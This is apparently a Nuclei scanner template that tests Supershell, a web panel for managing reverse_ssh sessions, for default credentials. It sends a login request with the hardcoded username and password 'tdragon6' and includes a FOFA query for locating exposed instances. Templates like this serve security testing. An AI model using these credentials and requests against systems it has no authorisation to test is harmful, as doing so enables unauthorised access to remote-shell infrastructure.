id: supershell-default-login

info:
  name: Supershell - Default Login
  author: SleepingBag945
  severity: high
  description: |
    Supershell is a WEB management platform that integrates the reverse_ssh service.
  reference:
    - https://github.com/tdragon6/Supershell
    - https://www.ctfiot.com/129689.html
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="supershell"
  tags: supershell,default-login

http:
  - raw:
      - |
        POST /supershell/login/auth HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{username}}","password":"{{password}}"}

    attack: pitchfork
    payloads:
      username:
        - tdragon6
      password:
        - tdragon6
    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200 && !contains(body_1,"result\":\"failed")'
          - 'contains(header_1,"token=ey") && contains(body_1,"{\"result\":\"success")'
        condition: and
# digest: 4a0a004730450220143923e43067c329caf625e823adf5f0517db69791d43d30c1c19084ee371898022100ef73eb15caf4f9cc202edeb3fd416637c1ee5668a89bd282b76407f582c03299:922c64590222798bb761d5b6d8e72950